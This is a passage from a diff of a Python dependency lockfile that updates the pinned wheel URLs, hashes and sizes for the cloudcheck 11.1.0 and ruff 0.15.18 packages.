"https://files.pythonhosted.org/packages/55/e4/2df14c1cf9326e301167b9497314849d138e5c0fa2d370abc40b6169016e/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b28ba5aaefebed398c1711d4112d1f0808ac35d24a82b581a3b84b554f4b0605", size = 4231440, upload-time = "2026-06-24T01:51:14.832Z" }, + { url = "https://files.pythonhosted.org/packages/ef/30/3b54e4ffc807846cd982016f43ddf16c0c7981b2abdb6a63130a2fc410be/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4f1c10fa62aff32cb4185d804977fc08833a00f54a48da4f4c2d7cfbab59cd38", size = 3582533, upload-time = "2026-06-24T01:51:27.798Z" }, + { url = "https://files.pythonhosted.org/packages/39/72/4870ed35779ffc64af2ee8e6b6e5dcaf85fc1b1ef25cc80293a07f43d44b/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac8663542f0a56d69ff7ef95b6ea58a3d352ec13fcad86c221f5e66644e0240b", size = 4166645, upload-time = "2026-06-24T01:51:53.012Z" }, + { url = "https://files.pythonhosted.org/packages/3b/ba/45b6a553de29735a7e08e22f45d3f82ffd4f8c03f277d2830ef78c7d2529/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:61636088dad3b4412b4117c49978e2a53cc124a7043c9a3c18270fa8c978c600", size = 4076618, upload-time = "2026-06-24T01:51:40.657Z" }, + { url = "https://files.pythonhosted.org/packages/15/43/b0343a74f27d398610baaa39382bdba6a58f106c8d818085d6204386725a/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:41301dc25603fae15d2a0a6ca6b02b8454b825fb1bae5ead4b0218ed57e31c41", size = 4022187, upload-time = "2026-06-24T01:52:05.788Z" }, + { url = "https://files.pythonhosted.org/packages/80/e9/b4fd29b3e40dc37aa1d77e4b6bf487db17aa7859b9a9009070f54dac3f65/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:cfd7ba30e7a3c13d64b8c81b37fa621a8def13591ce612b3fbe29d8390053be0", size = 4636261, upload-time = "2026-06-24T01:52:32.719Z" }, + { url = "https://files.pythonhosted.org/packages/38/8a/571f57283009fe6ac174340a224ee7be41bae54df480c0cf08fecf5496e5/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1bb64247e7414f97d8efcd86d7be63b2bbd04694abbe69c33ea73e97f39eb6c3", size = 3911569, upload-time = "2026-06-24T01:52:46.555Z" }, + { url = "https://files.pythonhosted.org/packages/40/a5/3963d4a90720a05916f14a154dfb1fe6fde274a48f60f5d3e2ea50d7c2c2/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a9a904c36b63089b0d6bbd27c44f3433ab6b50128e649431744669756e7bdfb1", size = 4257464, upload-time = "2026-06-24T01:52:59.66Z" }, + { url = "https://files.pythonhosted.org/packages/67/25/2deb743ec58df78cd0ce577a40df187600e670d1554ae6c686c9405362c6/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:8d47c3527a6db33ae5c1c57c428df2f16e47818a75154481ff88e70b7b7f009c", size = 4289112, upload-time = "2026-06-24T01:53:13.416Z" }, + { url = "https://files.pythonhosted.org/packages/bd/ae/18f5b61a5ad6add2cea661bd839c1246ff295de24b1d761aacb78229582b/cloudcheck-11.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:53df6bd27a797560802c4e8e6b3a8bb4f6aa9d87bd762d2d7ab4ed4bbda1ef5f", size = 1412447, upload-time = "2026-06-24T01:53:27.079Z" }, + { url = "https://files.pythonhosted.org/packages/23/22/16169719a177e6ed099f1030b95a68dacd516429563bfe4c1d4561bd385d/cloudcheck-11.1.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:7fdd75d9290732ab63b60a0456c72c6100b0ece7ba29f3ba37903da945aed90e", size = 1627846, upload-time = "2026-06-24T01:52:25.366Z" }, + { url = "https://files.pythonhosted.org/packages/31/42/567df33fd6022379f70ab69659b18f3a28a44c5c0878d4928c1d0c8ab033/cloudcheck-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:91682f2f6f06f7d99040c3b7e281e82057322cfd4d0f15c77746868335176bf4", size = 1603340, upload-time = "2026-06-24T01:52:18.402Z" }, + { url = "https://files.pythonhosted.org/packages/e5/00/1f054e67b5932f63cdbe1d4363c358a926ccc6a46a286fb18b41a82f1edc/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8cc23596a1c64d5dc8300f03bec7f3962e21ff07fcca1b9a7e697d4ec47628f1", size = 4231553, upload-time = "2026-06-24T01:51:16.77Z" }, + { url = "https://files.pythonhosted.org/packages/cd/c2/27b9eb424148475cb6c696be2926bf06a27e9e19066357c99f5a8431bc1b/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a9d2c81349bc95cf598248da3f34cc052ee9b19a0d374923ba88ca522a2b6b21", size = 3581702, upload-time = "2026-06-24T01:51:29.737Z" }, + { url = "https://files.pythonhosted.org/packages/f1/23/090a17cdf2447deec2019ddf2c99e71998fc7b6c1eca4dfd93e82b35b14f/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1db5cd94eaff83acf93111c83cc053a71a11861ae3a45d08c5a5c02a919ab17", size = 4166027, upload-time = "2026-06-24T01:51:54.715Z" }, + { url = "https://files.pythonhosted.org/packages/a9/95/a663471127fc36ddc5102a7f1638630e7098a4c2f59385039cfb201ec5a8/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03d8ab01a4f72a806d8ecb045e29055d208e5e75202934aee1fa3d709a4c77f2", size = 4076800, upload-time = "2026-06-24T01:51:42.432Z" }, + { url = "https://files.pythonhosted.org/packages/8b/47/a97fbf2eacb4956cbb9ca0a4316067b5d7cf18164267829cceac05eb6fc2/cloudcheck-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:916574b39591b533bda458c9ae3a780169e71be1ad0c72e1175ad58a5a5629b3", size = 4020820, upload-time = "2026-06-24T01:52:07.687Z" }, + { url = "https://files.pythonhosted.org/packages/0d/e0/f4545bb3bf57ee43c17ef1226de5dde334977ba538632f2be99d745885fa/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:488518b5bcf8b9e72cefb5c23af69a52be68b4a196ccca5ef2f5a7cd5bf41645", size = 4634914, upload-time = "2026-06-24T01:52:34.565Z" }, + { url = "https://files.pythonhosted.org/packages/07/f0/932346dcf9efa86245a490f5d3a2432f895bba61432ece025134534a88b3/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:1b32de616c43504e092f7ce7ad7122f6cba2a0d72bca130b0134d8811aba277c", size = 3911265, upload-time = "2026-06-24T01:52:48.629Z" }, + { url = "https://files.pythonhosted.org/packages/22/6b/99da3537c47ac0f73ff753ffb850d1f3249a653d537925e14bb7d66b880c/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ca6a5e8e8b293acd32a5f5affe4106c6165033445062384a44dc2044c4d2061f", size = 4256638, upload-time = "2026-06-24T01:53:01.56Z" }, + { url = "https://files.pythonhosted.org/packages/2d/3f/b8250fa548c54d41948a59b24c23cba8215aae6ec45237c0981e47f6986e/cloudcheck-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ccaa40f94d028bf264e71e89e6e51993fc01643fb063e0f2633cd44de86a429c", size = 4288676, upload-time = "2026-06-24T01:53:15.676Z" }, + { url = "https://files.pythonhosted.org/packages/4d/5d/5fc745389013087e1d92c633b848f1a149486a0619a54276690b5f209e1a/cloudcheck-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:a90283241cbf136f99a4b9181ad5845aa479e826e0fc1a8287b8a69400cd14e3", size = 1412224, upload-time = "2026-06-24T01:53:28.64Z" }, + { url = "https://files.pythonhosted.org/packages/59/e4/ae62a65601098faf2b0b841e7ce5e87617f5c640c8c775087a77dea0b4a4/cloudcheck-11.1.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:37c7b25eebde0bdfadbe23a285ee0570cc6b91aee01400b3d2a12eb9c354e9a6", size = 1628902, upload-time = "2026-06-24T01:52:27.078Z" }, + { url = "https://files.pythonhosted.org/packages/ca/c8/b57b9930dc5352696f8ce154fcd8c4a1c0e56a7436186430d016c6be0773/cloudcheck-11.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e69c64d371cef736ce7404dbc0d2d4f0af2c645e467432d5596f01f2b3f1c67e", size = 1603546, upload-time = "2026-06-24T01:52:20.368Z" }, + { url = "https://files.pythonhosted.org/packages/91/1d/13e34739ea4b1d6adc4af45c569446f70435616a81facc2b8adc7c3a0e36/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e99315d0e1214987bc2f6463dbfc5864e30a757c0f5a61ab3f569eeab65d804", size = 4227647, upload-time = "2026-06-24T01:51:18.708Z" }, + { url = "https://files.pythonhosted.org/packages/88/91/f4bb1a4ad1388375d62866c3dbb2d7868d01cc84d529404fecd1ea364ec3/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ac124c734c5e9e773f55245878819d793eb30662974f67fadf9bfb01e89f5850", size = 3582647, upload-time = "2026-06-24T01:51:31.514Z" }, + { url = "https://files.pythonhosted.org/packages/d3/61/36bedf0b70f3a31a25c72c1167a7972652084a7e07c8419fa363f03aab41/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:14da5f7208fa6248ce96e620eca7888977905ff29de217c294976f098928e255", size = 4166298, upload-time = "2026-06-24T01:51:56.768Z" }, + { url = "https://files.pythonhosted.org/packages/f2/df/87ddfc882f32b2cfcbbd30b8758cadced445114c17b6979b60ed0d8c7e9f/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:05cdffad94d306ed391399848c583f917fb4ac25d99e6edddcaa77a9b78a9d5a", size = 4078109, upload-time = "2026-06-24T01:51:44.128Z" }, + { url = "https://files.pythonhosted.org/packages/82/6d/709c0fb41c52029da2a91df2f2184a37beb8ab95c3c614df2575060b4033/cloudcheck-11.1.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:593f78d4740b83f43955883b24fdc785193b7ff4e679f5545f9e9e6501ea86b5", size = 4019438, upload-time = "2026-06-24T01:52:09.584Z" }, + { url = "https://files.pythonhosted.org/packages/c7/7b/408820addf925533973abb1da009f8719c4063e4964ade075dcdf50c67d8/cloudcheck-11.1.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:127ffee71e9de652e88c9e0179c59318eedd139b13453e839f0eb7f33e19b88f", size = 3620324, upload-time = "2026-06-24T01:38:18.03Z" }, + { url = "https://files.pythonhosted.org/packages/08/49/47e64da6a7775e8b79c0974ecb05d46c4576ea13c1b61616ee4536d04bc5/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7625d40295f3285d8c81f527ea248e4a4c03a5ae9b0e3be777b7d5b519fffa51", size = 4627588, upload-time = "2026-06-24T01:52:36.667Z" }, + { url = "https://files.pythonhosted.org/packages/61/1e/7b3cfa2f917fb529f1b726cfe495258b05b7c689abf815c6786da63f03ad/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:f5cf04e8a36eadcfe66739804df961f570dbacdade908fc8dde856bc7f3a070c", size = 3912050, upload-time = "2026-06-24T01:52:50.423Z" }, + { url = "https://files.pythonhosted.org/packages/77/43/1e680cbc70bfc2afd40753a2c3458f4568d14a3d605e72871f2aea3f5566/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:3f4f92835fcf428f4acdc3681739a306c7172b6a7963ef4b272eefd0f390c387", size = 4256341, upload-time = "2026-06-24T01:53:03.479Z" }, + { url = "https://files.pythonhosted.org/packages/55/c7/3611ac35cb38a82d0ebbcf3568eefb19ba89b5d93040179a9bf13e93b4bc/cloudcheck-11.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3e38eaf5fa3f871b2afe1caa4c1cf2626af8a55faf7db0f05abeb8895a40ece5", size = 4283526, upload-time = "2026-06-24T01:53:17.642Z" }, + { url = "https://files.pythonhosted.org/packages/3a/de/6ba44d3ea3c5ed7c03c744ee8155019845975208dc15a00213895fde5923/cloudcheck-11.1.0-cp314-cp314-win32.whl", hash = "sha256:5d418ad7ccd53f1367b31ead8c96c42c324f6eaef8a69f9a82772b5ce651465c", size = 1320213, upload-time = "2026-06-24T01:53:31.805Z" }, + { url = "https://files.pythonhosted.org/packages/91/c4/76ad9c8e15524c115b1f11e5b56b4291e0925cb8626989d7d93a503f7a22/cloudcheck-11.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:76a90ae769b9837bf7f5cd7d7831ca3fae36fea839b5fcdd41e7ed8327c05183", size = 1411520, upload-time = "2026-06-24T01:53:30.269Z" }, + { url = "https://files.pythonhosted.org/packages/b6/7a/c414832db140aceb8d7021f787d9fc91f2358cbbb1733c689e939657238a/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:416bbc5bcc2da6b77a7c5d83715da8b68ed140ce5435f40ebae7ac8a1669b54e", size = 4230623, upload-time = "2026-06-24T01:51:20.703Z" }, + { url = "https://files.pythonhosted.org/packages/08/5a/6062da2e386424f35907ffe5f9fa5f8d76efa9ba7b297f17ff6e2bfcfd7b/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:75c04c26554d8b98564a6a354b7b5a23769fe106b81f6fe6bcf54d3f482f0937", size = 3579147, upload-time = "2026-06-24T01:51:33.376Z" }, + { url = "https://files.pythonhosted.org/packages/f0/9b/ba7c8bb8243c4a5ce4cc2522f046bd71742b0423738eb945cc778659d486/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:af81fdf60c2369b384c182017c188bcbe6fd7a7a9dfb504f4e52ebd09f9dcd46", size = 4164579, upload-time = "2026-06-24T01:51:58.599Z" }, + { url = "https://files.pythonhosted.org/packages/a1/cf/0d81beba95d8ff0c64e9604f4abaf7001dc536f48efb54ab2b92c7a3539b/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d619c5beef80b831a95508dca6e7400378295a81f593290490f1e919b2d3ba4", size = 4078924, upload-time = "2026-06-24T01:51:45.817Z" }, + { url = "https://files.pythonhosted.org/packages/ac/d0/050ab1722d6c1a628ab6c2e5a1ba6788f79a14c16e1ea959467736a6d4bc/cloudcheck-11.1.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6914ec7776c85b73a739e2e6708fa7e730d28ab15010f4fba401386beee50180", size = 4025140, upload-time = "2026-06-24T01:52:11.439Z" }, + { url = "https://files.pythonhosted.org/packages/35/97/2bb5e69c7aded98bc9efc5cec1d648d9e5e4b4c3a717103f4d8513a66a5f/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:74542a999b0b633c43a68ed6e51ccc4a1f1c7e5b009d774d29c9a3d2164742af", size = 4631093, upload-time = "2026-06-24T01:52:38.458Z" }, + { url = "https://files.pythonhosted.org/packages/c9/37/f7559e749951eb2b639eee322018c276bd1b4eb892ae7d46514b2afa4c63/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:8cd31034b0be3b3bf706543e54eb61b4c31567484554f3c44b490f0759302e2b", size = 3909734, upload-time = "2026-06-24T01:52:52.269Z" }, + { url = "https://files.pythonhosted.org/packages/cb/34/c22c7b6863d9302b2cd94887dbea46a9d69be5d5ccb8f37459d9eb637028/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:bf2cc009afa271b2ebfde51364003d67fe439d0a6c4c2740ceeb25ef0c36ad8b", size = 4253930, upload-time = "2026-06-24T01:53:05.241Z" }, + { url = "https://files.pythonhosted.org/packages/f7/88/a26706ee3c86e0d2b990d3184d38a7b69dc2fc2bd11b45dda4325cc9f9cf/cloudcheck-11.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:de8b44c02d05d5a5c4629b88f3edfadcefee2834b90a8b8888b4d56e2b8b1922", size = 4290138, upload-time = "2026-06-24T01:53:19.41Z" }, + { url = "https://files.pythonhosted.org/packages/70/3b/bfdfcc252b3df211a2adc657744528755c810e5c58e8d95a414ccabe3fc8/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b70efa9390577f1c2cdec2a3dab40149efed3192b71a41cfe59e28984c0d1c6", size = 4236159, upload-time = "2026-06-24T01:51:22.71Z" }, + { url = "https://files.pythonhosted.org/packages/14/18/9fec85a4a09d528f4d514f8e70638d3961d4098cb715b4179f55313b673c/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9a0d8d5c586f4dfdb8a644503ef855a7f59fe760390c3bae2cffce0fd7c5e6d5", size = 3585652, upload-time = "2026-06-24T01:51:35.245Z" }, + { url = "https://files.pythonhosted.org/packages/d6/5e/59699d4d59d9f0df8e370a465eda694cb106490c7e62d92446fb91944f60/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d89a88f1ab1d8984a4ab69d5e1b6fc0d27372a337cce07138ba8464410a58631", size = 4170828, upload-time = "2026-06-24T01:52:00.378Z" }, + { url = "https://files.pythonhosted.org/packages/bf/ea/39266dd460993c5573b0b6e83a501e592b31f76bbaa39dcb6373f0e0d144/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5e25da85442c04e5adfa8e640b317461d5b28ffc4e9a4f69553215bddceb58f", size = 4082245, upload-time = "2026-06-24T01:51:47.743Z" }, + { url = "https://files.pythonhosted.org/packages/a3/e4/ccbc9d41aa4e38f1da5ae70860b65370eef1e9f3793e644113b12b3db2f6/cloudcheck-11.1.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f66138d97c9cbb6e5afe2f794fdfd6345ba2a65e958a138652f82c4c3fb261cd", size = 4025861, upload-time = "2026-06-24T01:52:13.234Z" }, + { url = "https://files.pythonhosted.org/packages/4c/7b/f63b121aa58decb8e29e51a894642477d9dd6e66d25a0f8dbc0bf11c482f/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:fe3e69f5aa1611b9cb75a09f0062f590b76eb3d700c347239287e5a1503c38d0", size = 4641331, upload-time = "2026-06-24T01:52:40.327Z" }, + { url = "https://files.pythonhosted.org/packages/01/46/83842410d5e502c71e07e493f1fbf1d22531aebe352e578539ac3ee57c00/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:0dbe979a8ddbc8d324798d04667efa46a4200db350a16f10e7ad07d8c16102cd", size = 3914486, upload-time = "2026-06-24T01:52:54.083Z" }, + { url = "https://files.pythonhosted.org/packages/1d/c6/51fa6ff51575f8411dea54a7ba06cad6c2f7d28d874431dbd1aed1af21c8/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:bb895f08f654451bbcc847d9f61bcd2132c1e1b968f6056a63647bbd560ebe36", size = 4264679, upload-time = "2026-06-24T01:53:07.513Z" }, + { url = "https://files.pythonhosted.org/packages/0a/2c/d9c8309be4e6aaae9e49343ba53f8314aa4258cb4a16a24bb3efd3e49003/cloudcheck-11.1.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:e8b40a33c6c2e66072fe7aa94b6a8cd088106dcf6da676ae9195b5a4e5606eca", size = 4292406, upload-time = "2026-06-24T01:53:21.307Z" }, ] [[package]] @@ -2794,27 +2789,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.17" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/8c/a9/3abdf488f1bf3d24c699415e454ed554a6350d5d89ce183be1ee0a3361ac/ruff-0.15.17.tar.gz", hash = "sha256:2ec446937fd16c8c4de2674a209cc5af64d9c6f17d21fbf1151054fa0bcf5219", size = 4743346, upload-time = "2026-06-11T17:54:47.663Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/db/4d/e11259f5da07cb6afb2d074c31bf09da9671993f7329d4f15d2fdc458301/ruff-0.15.17-py3-none-linux_armv6l.whl", hash = "sha256:d9feddb927fc68bd295f5eebc587a7e42cfaf9b65f60ca4a2386febff575da8f", size = 10856677, upload-time = "2026-06-11T17:54:49.533Z" }, - { url = "https://files.pythonhosted.org/packages/29/3e/772d679e1a0dc058e58875bd2c0cb713a0530877b4a76fee3c7966df0d49/ruff-0.15.17-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:25805a226d741c47d274a35ad5c10a7dde175fcddfa511d7cf3da0a21eb3eab7", size = 11223443, upload-time = "2026-06-11T17:55:00.573Z" }, - { url = "https://files.pythonhosted.org/packages/68/58/bd41f7688b2fd5623012605130ed70e60aa7f2244baa3d5066bdd61530c8/ruff-0.15.17-py3-none-macosx_11_0_arm64.whl", hash = "sha256:f6ad73b14c2d18a3bf8ad7cb6974294d7f613a7898604826058e6ac64918ef4d", size = 10566458, upload-time = "2026-06-11T17:55:07.52Z" }, - { url = "https://files.pythonhosted.org/packages/d8/5b/733371013fcf1ec339e477ece6ab42bfe10bdd9bba8ee88a9516aa56bfc0/ruff-0.15.17-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ba0c1e4f95bcb3869d0d30cbd5917071ef2e28665abfec970cdab0492c713ed", size = 10914483, upload-time = "2026-06-11T17:55:05.501Z" }, - { url = "https://files.pythonhosted.org/packages/bd/cc/6f24251cc0252f7239391ccb85833f320efad14ebe5b443943f37ced6332/ruff-0.15.17-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:81647960f10bff57d2e51cadd0c3950fe598400c852863a038720ef5b8cca91e", size = 10647497, upload-time = "2026-06-11T17:54:57.733Z" }, - { url = "https://files.pythonhosted.org/packages/68/dd/0d10c17ce1a1624d6fc3156309c3f834fdb5dfaad026ec90c85684f3990e/ruff-0.15.17-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0e01a84ddbc8c16c23055ba3924476850f1bbc1917cebbb9376665a63e74260d", size = 11416967, upload-time = "2026-06-11T17:54:51.461Z" }, - { url = "https://files.pythonhosted.org/packages/2f/91/556bfb156f6144f355e831c23db00b2fc4120f86b3ce81cc5f7fd2df51f3/ruff-0.15.17-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84fe9f653152f8f294f9f7e03bf3a453d8b4a27f7a59c78c8666167f2b17b96c", size = 12335770, upload-time = "2026-06-11T17:54:45.793Z" }, - { url = "https://files.pythonhosted.org/packages/88/82/8b5999aa13355e926f06d9f42a32dcca862f623bf0363785ff89d607dffd/ruff-0.15.17-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c0fe88a7676e7a05b73174d4d4a59cb2ac21ff8263583f87a81a6018475a978", size = 11575441, upload-time = "2026-06-11T17:54:32.661Z" }, - { url = "https://files.pythonhosted.org/packages/11/93/f10377bb04109ca0e8cbc483ff1982c54b6d418210041776f93e8cdc7fa9/ruff-0.15.17-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ecfc3c7878fff94633ab0348524e093f9ce3243080416dd7d14f8ba400174719", size = 11557614, upload-time = "2026-06-11T17:54:34.698Z" }, - { url = "https://files.pythonhosted.org/packages/c7/a6/eeeae7f7d5493df41649ab3db92f086b2d0a30199e4efdf8e3dd7a033f24/ruff-0.15.17-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:b8461180b22420b1bdc289909410930761629fddf2a5aaf60fae1ab26cedc4c4", size = 11544450, upload-time = "2026-06-11T17:54:39.042Z" }, - { url = "https://files.pythonhosted.org/packages/32/88/5991ce565129a24dd4a00db1254b3b5db2e53018cbe4018ea5a89738e727/ruff-0.15.17-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:6eccbe50a038b503e7140b441aa9c7fc8c1f36edf23ebef9f4165c2f28f568b7", size = 10892524, upload-time = "2026-06-11T17:55:09.432Z" }, - { url = "https://files.pythonhosted.org/packages/f5/1d/0fdd248313425f55223968af04b0a42125466a8d88d21c1d99c6af0a51e8/ruff-0.15.17-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:382fc0521025f5a8ad447d8bdd523545d0d7646adb718eb1c2dac5065ec27c0f", size = 10659573, upload-time = "2026-06-11T17:54:36.824Z" }, - { url = "https://files.pythonhosted.org/packages/9e/0e/072e8260deb9461062ce9311ced27a8e541229a6ffd483013dd37661e43e/ruff-0.15.17-py3-none-musllinux_1_2_i686.whl", hash = "sha256:456d41fcd1b2777ad63f09a6e7121d43f7b688bbc76a800c10f7f8fb1f912c3f", size = 11127818, upload-time = "2026-06-11T17:55:03.124Z" }, - { url = "https://files.pythonhosted.org/packages/ab/b4/55060a34163121498014696b5f656db5b8c6963768f227dbf0d76b311073/ruff-0.15.17-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b1a04bcc94ae6194e9db05d16ad31f298a7194bfbcb08258bbe589cee1d587b8", size = 11655901, upload-time = "2026-06-11T17:54:53.562Z" }, - { url = "https://files.pythonhosted.org/packages/49/71/9b29d6b87cef468d697f43c6a91e3fae4a80185779d7d5a4ef27d173439f/ruff-0.15.17-py3-none-win32.whl", hash = "sha256:596065960ab1ff593f744220c9fe6580eda00a95003cffa9f4048bb5b1bf0392", size = 10925574, upload-time = "2026-06-11T17:54:55.723Z" }, - { url = "https://files.pythonhosted.org/packages/3d/b2/8fc77f3723228836fa5d12497eb71c808f83782e10d058d2b15cfa14640b/ruff-0.15.17-py3-none-win_amd64.whl", hash = "sha256:6769e5fa1710b179b92e0bfa5a51735b35baea9013dadb06d5f44cbcf9547084", size = 12058788, upload-time = "2026-06-11T17:54:41.042Z" }, - { url = "https://files.pythonhosted.org/packages/2d/c7/c53e8dbff9c9dc4b7928773421ae294a5d28fcb8dcda1a089579d3a7e510/ruff-0.15.17-py3-none-win_arm64.whl", hash = "sha256:f3be1fbb34bcdfd146240d8fb92a709d4c2c8191348580a3c044ec60fa0b4456", size = 11355275, upload-time = "2026-06-11T17:54:43.635Z" }, +version = "0.15.18" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/74/98/1295ad5a5aa9bc85bdcdfa5d82fe7b49c61af5657df4f227637ff9de0da6/ruff-0.15.18.tar.gz", hash = "sha256:2698a964c70e8bf402dcb99c8810472d270d141e7aa8c4e13599fd52033a2f33", size = 4761437, upload-time = "2026-06-18T18:25:39.224Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/d0/686e984941269621e2be72612d5c1e461f8f7b38415a2a7d7a81c8ae6715/ruff-0.15.18-py3-none-linux_armv6l.whl", hash = "sha256:8b6850172348c8381b8b3084c5915a4393c2373b9b54cd5b5e1ea15812bc10df", size = 10887308, upload-time = "2026-06-18T18:25:03.062Z" }, + { url = "https://files.pythonhosted.org/packages/ed/21/bc4123e3f5515ee99f8ce1eb93a14a0628fe4d1678663cd08f933ac16931/ruff-0.15.18-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:3fccc153a85417dcd976883160cacce486997b0a0058dd18f54b8aaaac7d1ce2", size = 11281305, upload-time = "2026-06-18T18:25:30.026Z" }, + { url = "https://files.pythonhosted.org/packages/51/93/4769464c25cf7ab2acb3c7dda9cad3d867eb41c59565b3e2a9d17249c90c/ruff-0.15.18-py3-none-macosx_11_0_arm64.whl", hash = "sha256:08d4c86a68f2c3ec2c9d56380a71fb4a4f65373055cbb8caabd645e9102f38d4", size = 10641215, upload-time = "2026-06-18T18:25:15.802Z" }, + { url = "https://files.pythonhosted.org/packages/6c/42/56926d17120db2c208d76bf60a1a019644dd9e91dc27f0f95c9caddb1366/ruff-0.15.18-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:37e5108745c2c0705da916d7d4de533ddf547051ef45f62888c31bae73f66318", size = 10957224, upload-time = "2026-06-18T18:25:36.955Z" }, + { url = "https://files.pythonhosted.org/packages/22/4f/d43fab8d8189afde803103022d000a8ef9f230616d436d52a8b2b8d63b50/ruff-0.15.18-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:56949a6ce8b3abde54c0bcb22cebfe57e8771cadc84b407ae8b8eaf67ebdcd43", size = 10699024, upload-time = "2026-06-18T18:25:05.707Z" }, + { url = 